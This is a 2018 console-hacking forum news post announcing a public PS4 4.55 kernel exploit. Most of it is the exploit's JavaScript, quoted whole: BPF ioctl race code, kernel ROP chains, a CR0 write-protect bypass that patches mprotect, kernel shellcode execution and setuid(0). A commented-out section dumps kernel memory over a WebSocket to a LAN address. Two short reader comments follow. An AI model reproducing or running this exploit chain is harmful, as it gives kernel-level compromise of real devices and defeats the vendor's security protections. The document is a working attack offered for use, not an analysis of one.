Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
PS4 Jailbreaking       Thread starter PSXHAX       Start date Feb 26, 2018 at 4:25 PM       200      
Status
Not open for further replies.
Following the PS4 4.05 Kernel Exploit, news of his PS4 5.00 Kernel Bug, confirmation of achieving PS4 5.00 Kernel Code Exec and his recent PlayStation 4 Dev Hints today popular hacker Qwertyoruiopz released a PS4 4.55 Kernel Exploit publicly! :love:

This comes after his JailBreakMe PS4 4.0x Webkit Exploit release followed by the Userland Exploit Breakdown, so while those on PS4 4.06 and 4.07 OFW can make use of the new kernel exploit for 4.50 and 4.55 users it will be up to PlayStation 4 scene developers to bridge the required userland exploit gap to the 4.55 kernel exploit.

Until then, based on the PS4 Game Minimum Firmware Version requirement lists according to notzecoxao some new PlayStation 4 games should surface soon in PKG format including Nioh, Nier, Hitman (latest update) and Persona 5. (y)

To quote from the hax455.txt:

Code:
function stage4_()
{
    function malloc(sz)
    {
        var backing = new Uint8Array(1000+sz);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }
    function malloc32(sz)
    {
        var backing = new Uint8Array(0x1000+sz*4);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = new Uint32Array(backing.buffer);
        return ptr;
    }
    var strcpy_helper = new Uint8Array(0x1000);
    var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
    function strcpy(ptr, str)
    {
        p.write8(where_writeptr_strcpy, ptr);
        for (var i = 0; i < str.length; i++)
            strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
        strcpy_helper[str.length] = 0;
    }
 
 
    var sysctlbyname = window.libKernelBase.add32(0xF290);
    var sysreq = malloc32(0x10);
    sysreq.backing[0] = 7;
    sysreq.backing[1] = 0;
    sysreq.backing[4] = 0x10;
 
    var retv = malloc(0x100);
    var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
 
 
    var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
 
    var str = "";
    for (var i=0; i<0x10; i++)
    {
        str += zeroFill(retv.backing[i].toString(16),2) + " ";
    }
 
   // log("psid: " + str)
 
    var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    if (fd == (-1 >>> 0))
    {
        print("kexp failed: no bpf0");
    }
//    print("fd: " + fd);
 
    var scratch = malloc(0x100);
    var ifname = malloc(0x10);
    strcpy(ifname, "wlan0");
    p.syscall("ioctl", fd, 0x8020426c, ifname);
    var ret = p.syscall("write", fd, scratch, 40);
    if (ret.low == (-1 >>> 0))
    {
        strcpy(ifname, "eth0");
        p.syscall("ioctl", fd, 0x8020426c, ifname);
        var ret = p.syscall("write", fd, scratch, 40);
        if (ret.low == (-1 >>> 0))
        {
            throw "kexp failed :(";
        }
    }
 
    var assertcnt = 0;
    var assert = function(x)
    {
        assertcnt++;
        if (!x) throw "assertion " + assertcnt + " failed";
    }

    print("got it");
 
    var bpf_valid = malloc32(0x4000);
    var bpf_valid_u32 = bpf_valid.backing;
    var bpf_valid_prog = malloc(0x40);
    p.write8(bpf_valid_prog, 64)
    p.write8(bpf_valid_prog.add32(8), bpf_valid)
 
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_valid_u32[i++] = 6; // BPF_RET
        bpf_valid_u32[i++] = 0;
    }
 
    var bpf_invalid = malloc32(0x4000);
    var bpf_invalid_u32 = bpf_invalid.backing;
    var bpf_invalid_prog = malloc(0x40);
    p.write8(bpf_invalid_prog, 64)
    p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
 
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_invalid_u32[i++] = 4; // NOP
        bpf_invalid_u32[i++] = 0;
    }
 
    var push_bpf = function(bpfbuf, cmd, k)
    {
        var i = bpfbuf.i;
        if (!i) i=0;
        bpfbuf[i*2] = cmd;
        bpfbuf[i*2+1] = k;
        bpfbuf.i = i+1;
    }
 
    push_bpf(bpf_invalid_u32, 5, 2); // jump
    push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
    bpf_invalid_u32.i = 16;

    var bpf_write8imm = function(bpf, offset, imm)
    {
        if (!(imm instanceof int64))
        {
            imm = new int64(imm,0);
        }
        push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset); // BPF_ST
        push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
    }
 
    var bpf_copy8 = function(bpf, offset_to, offset_from)
    {
        push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to); // BPF_ST
        push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to+1); // BPF_ST
    }
    var bpf_add4 = function(bpf, offset, val)
    {
        push_bpf(bpf, 0x60, offset); // BPF_LD
        push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
        push_bpf(bpf, 2, offset); // BPF_ST
    }
 
 
 
    var krop_off_init = 0x1e;
    var krop_off = krop_off_init;
    var reset_krop = function() {
        krop_off = krop_off_init;
        bpf_invalid_u32.i = 16;
    }
    var push_krop = function(value)
    {
        bpf_write8imm(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var push_krop_fromoff = function(value)
    {
        bpf_copy8(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var finalize_krop = function(retv)
    {
        if(!retv) retv = 5;
        push_bpf(bpf_invalid_u32, 6, retv); // return 5
    }

    var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
    assert(rtv.low == 0);
 
    rtv = p.syscall("write", fd, scratch, 40);
    assert(rtv.low == (-1 >>> 0));
 
    var kscratch = malloc32(0x80);
 
    var kchain = new window.RopChain();
 
    kchain.clear();
    kchain.push(window.gadgets["ret"]);
    kchain.push(window.gadgets["ret"]);
    kchain.push(window.gadgets["ret"]);
    kchain.push(window.webKitBase.add32(0x3EBD0));

    reset_krop();
    //push_krop(window.gadgets["infloop"]); // 8
    bpf_copy8(bpf_invalid_u32, 0, 0x1e);
    push_krop(window.gadgets["pop rsi"]); // 0x10
    push_krop_fromoff(0);
    push_krop(window.gadgets["pop rsp"]);
    push_krop(kchain.ropframeptr); // 8

    finalize_krop(0);
 
    var spawnthread = function(chain) {
   
        /*
    
    
         seg000:00000000007FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
         seg000:00000000007FA7D0 55                                      push    rbp
         seg000:00000000007FA7D1 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA7D4 41 56                                   push    r14
         seg000:00000000007FA7D6 53                                      push    rbx
         seg000:00000000007FA7D7 48 89 F3                                mov     rbx, rsi
         seg000:00000000007FA7DA 49 89 FE                                mov     r14, rdi
         seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00                    lea     rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
    
    
         -> xref of sub_7FA7D0:
    
    
         seg000:00000000007F8380 48 8D 3D 28 D8 EC 00                    lea     rdi, a1_5_18_0  ; "1.5.18"
         seg000:00000000007F8387 48 8D 15 82 23 00 00                    lea     rdx, sub_7FA710
         seg000:00000000007F838E 48 8D 0D 3B 24 00 00                    lea     rcx, sub_7FA7D0
         seg000:00000000007F8395 31 F6                                   xor     esi, esi
         seg000:00000000007F8397 49 C7 47 20 00 00 00 00                 mov     qword ptr [r15+20h], 0
         seg000:00000000007F839F 66 41 C7 47 18 00 00                    mov     word ptr [r15+18h], 0
         seg000:00000000007F83A6 49 C7 47 10 00 00 00 00                 mov     qword ptr [r15+10h], 0
         seg000:00000000007F83AE E8 8D 3C D3 00                          call    sub_152C040
    
         -> code:
    
         m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
    
    
         decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
    
         decodingFailed -> contains longjmp (which we want)
    
         seg000:00000000007FA710                         sub_7FA710      proc near               ; DATA XREF: sub_7F8330+57o
         seg000:00000000007FA710                                                                 ; sub_7F9DC0+2Eo
         seg000:00000000007FA710 55                                      push    rbp
         seg000:00000000007FA711 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA714 48 8B 35 5D B6 E5 02                    mov     rsi, cs:qword_3655D78
         seg000:00000000007FA71B BA 60 00 00 00                          mov     edx, 60h ; '`'
         seg000:00000000007FA720 E8 AB E6 D2 00                          call    sub_1528DD0
         seg000:00000000007FA725 BE 01 00 00 00                          mov     esi, 1
         seg000:00000000007FA72A 48 89 C7                                mov     rdi, rax
         seg000:00000000007FA72D E8 26 6D 80 FF                          call    sub_1458 < longjmp
         seg000:00000000007FA732 0F 0B                                   ud2
         seg000:00000000007FA732                         sub_7FA710      endp
    
    
         */
        var longjmp = webKitBase.add32(0x1458);
   
   
        // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
        /*
         seg000:00000000001DD17F 48 8D 15 C9 38 4C 01                    lea     rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
         seg000:00000000001DD186 31 F6                                   xor     esi, esi
         seg000:00000000001DD188 E8 B3 1B F9 00                          call    sub_116ED40 < createThread
         */
   
        var createThread = window.webKitBase.add32(0x116ED40);
   
        var contextp = malloc32(0x2000);
        var contextz = contextp.backing;
        contextz[0] = 1337;
   
        var thread2 = new RopChain();
        thread2.clear();
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        chain(thread2);
   
        p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
        p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
   
        p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
   
        window.nogc.push(contextz);
        window.nogc.push(thread2);
   
        return thread2;
    }
 
    var interrupt1 = 0;
    var interrupt2 = 0;
    // ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
    spawnthread(function(thread2){
                interrupt1 = thread2.ropframeptr;
                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                thread2.push(fd); // what
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                thread2.push(0x8010427B); // what
                thread2.push(window.gadgets["pop rdx"]); // pop rdx
                thread2.push(bpf_valid_prog); // what
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr.add32(0x800)); // what
                thread2.count = 0x100;
                var cntr = thread2.count;
                thread2.push(window.syscalls[54]); // ioctl
                thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
           
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr); // what
                })
 
    // ioctl() with invalid BPF program -> this will be executed when triggering bug
    spawnthread(function(thread2){
                interrupt2 = thread2.ropframeptr;
                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                thread2.push(fd1); // what
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                thread2.push(0x8010427B); // what
                thread2.push(window.gadgets["pop rdx"]); // pop rdx
                thread2.push(bpf_invalid_prog); // what
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr.add32(0x800)); // what
                thread2.count = 0x100;
                var cntr = thread2.count;
                thread2.push(window.syscalls[54]); // ioctl
                thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
           
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr); // what
                })

    function kernel_rop_run(cb)
    {
        kchain.clear();
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        cb(kchain);
        kchain.push(window.gadgets["pop rax"]);
        kchain.push(0);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.webKitBase.add32(0x3EBD0));
        while(1)
        {
            if (p.syscall(4, fd, scratch, 40).low == 40)
            {
                return p.read8(kscratch);
                break;
            }
        }
    }
    function leak_kern_rip() {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rsi"]);
                              });
    }
 
    function kernel_read8(addr) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(addr);
                              kchain.push(window.webKitBase.add32(0x13A220)); // deref
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }
    function kernel_memcpy(to,from,size) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(to);
                              kchain.push(window.gadgets["pop rsi"]);
                              kchain.push(from);
                              kchain.push(window.gadgets["pop rdx"]);
                              kchain.push(size);
                              kchain.push(window.gadgets["memcpy"]);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }
    var kern_base = leak_kern_rip();
    kern_base.low &= 0xffffc000;
    kern_base.low -= 0x164000;
    log("ay! " + kernel_read8(kern_base) + " " + kern_base);
 
    /*
    var chunksz = 0x40000;
    var pagebuf = malloc(chunksz);
 
    connection = new WebSocket('ws://192.168.0.125:8080');
    connection.binaryType = "arraybuffer";
    connection.onmessage = function() {
        try {
            kernel_memcpy(pagebuf, kern_base, chunksz);
            connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
            kern_base.add32inplace(chunksz);
        }catch(e) {log(e);}
    }
 
 
     LOAD:FFFFFFFF9144CF70 0F 20 C0                                mov     rax, cr0
     LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00                       or      rax, 5002Ah
     LOAD:FFFFFFFF9144CF79 0F 22 C0                                mov     cr0, rax
     LOAD:FFFFFFFF9144CF7C C3                                      retn
     FFFFFFFF91562A58
     */
    var getset_cr0 = kern_base.add32(0x280f70);
    var set_cr0 = kern_base.add32(0x280f79);
 
    function kernel_get_cr0() {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(getset_cr0);
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }

    var cr0val = kernel_get_cr0();
    cr0val.low &= ((~(1 << 16)) >>> 0);
    log("cr0: " + cr0val);
    function kernel_write8_cr0(addr, val) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rax"]);
                              kchain.push(cr0val);
                              kchain.push(set_cr0);
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(addr);
                              kchain.push(window.gadgets["pop rax"]);
                              kchain.push(val);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              kchain.push(getset_cr0);
                              });
    }
    function kernel_fcall(addr, arg0, arg1) {
        return kernel_rop_run(function(kchain)
                              {
                              if(arg0)
                              {
                                    kchain.push(window.gadgets["pop rdi"]);
                                    kchain.push(arg0);
                              }
                              if(arg1)
                              {
                                    kchain.push(window.gadgets["pop rsi"]);
                                    kchain.push(arg1);
                              }
                              kchain.push(addr);
                         
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }
 
    var mprotect_patchloc = kern_base.add32(0x396a58);
    var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
    var mprotect_realbytes = mprotect_patchbytes;
 
    log("patchbytes: " + mprotect_patchbytes);
    mprotect_patchbytes.low = 0x90909090;
    mprotect_patchbytes.hi &= 0xffff0000;
    mprotect_patchbytes.hi |= 0x00009090;
 
 
    var shellsize = window.shellcode.byteLength;
    shellsize += 0x4000;
    shellsize &= 0xffffc000;
 
    var shellscratch_to = malloc32((0x10000 + shellsize)/4);
 
    var origin_to = shellscratch_to.low;
    shellscratch_to.low &= 0xffffc000;
    shellscratch_to.low += 0x8000;
    var offset = (shellscratch_to.low - origin_to) / 4;
 
    for (var i=0; i < window.shellcode.length; i++)
    {
        shellscratch_to.backing[i+offset] = window.shellcode[i];
    }
 
 
    kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
    var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
    kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
    if (mapz.low != 0) throw "mprot fail!";

    faultme = shellscratch_to.add32(0x0);

    for (var i=0; i < window.shellcode.length; i+= 0x1000)
    {
        var bck = p.read8(faultme);
        p.write8(faultme, 0xc3)
        p.fcall(faultme); // test faulting
        p.write8(faultme, bck)
    }
    p.syscall("mlock", shellscratch_to, shellsize);
    var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));

    var zarguments = malloc32(0x1000);
    p.write8(zarguments, kern_base);
    p.write8(zarguments.add32(8), fd_kcall);
    p.write8(zarguments.add32(16), interrupt1);
    p.write8(zarguments.add32(24), interrupt2);
    p.write8(zarguments.add32(32), window.syscalls[431]);
    p.write8(zarguments.add32(40), window.syscalls[591]);
    p.write8(zarguments.add32(48), window.syscalls[594]);
    p.write8(zarguments.add32(56), pyld_buf); // pyld
    p.write8(zarguments.add32(64), window.pyldpoint);
    p.write8(zarguments.add32(72), window.pyld.byteLength);

    var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;

    log(p.read8(shellscratch_to.add32(window.entrypoint)));
    log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
    p.syscall("setuid", 0);
    log("uid: " + p.syscall("getuid"));
    alert("enter user");
    log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));

    var lsscrtch32 = new Uint32Array(0x400);
    var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
    window.ls = function(path)
    {
        var sep = "/"
        if (path[path.length-1]=="/") sep = "";
   
        var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
        if (fd == (-1 >>> 0))
        {
            print("open("+path+"): -1");
            return;
        }
   
        alert("getdenv");
   
        print("Directory listing for " +path+":");
        var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
        if (total == (-1 >>> 0))
        {
            print("getdents("+path+"): -1");
            return;
        }
   
        alert("got denv");
   
        var offset = 0;
        while (offset < total)
        {
            var cur = lsscrtch.add32(offset);
            var reclen = p.read4(cur.add32(4)) & 0xFFFF;
            var filepath = path + sep + p.readstr(cur.add32(8));
            print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
            offset += reclen;
            if(!reclen) break;
        }
        p.syscall("close", fd);
    }
    print("<a href=javascript:window.ls('/');>ls /</a>");

}
Cheers to @B7U3 C50SS, @bonusball, @Chaos Kid, @hyndrid, @MaSsAcReuR and @tnt2005 in the PSXHAX Shoutbox for all the news tips today! :beer:
PS4 4.55 Kernel Exploit is Officially Released by Qwertyoruiopz!.jpg
 

Comments

Yep, according to Qwertyoruiopz, this kernel exploit is good up to firmware 4.55. The tricky part now is to find the entry point for it.
 
qweryoruiop is a hero :D Well anyway, finding this crap takes time and patience and real dedication. And what you'll get in exchange is only an ego-boost (that you are capable of doing it). So you gotta do it just for fun. Anyway I appreciate it very much, finally my haphazardly bought ps4 slim on 4.55 will be wide opened :) Thanks for your relentless work man! Also you already have one for 5.0 and I imagine you working on 5.0+ maybe even 5.5 as well. Just for fun of course.

Then sometime later maybe a cfw kind of thing will float atop somewhere...
 
Status
Not open for further replies.
Back
Top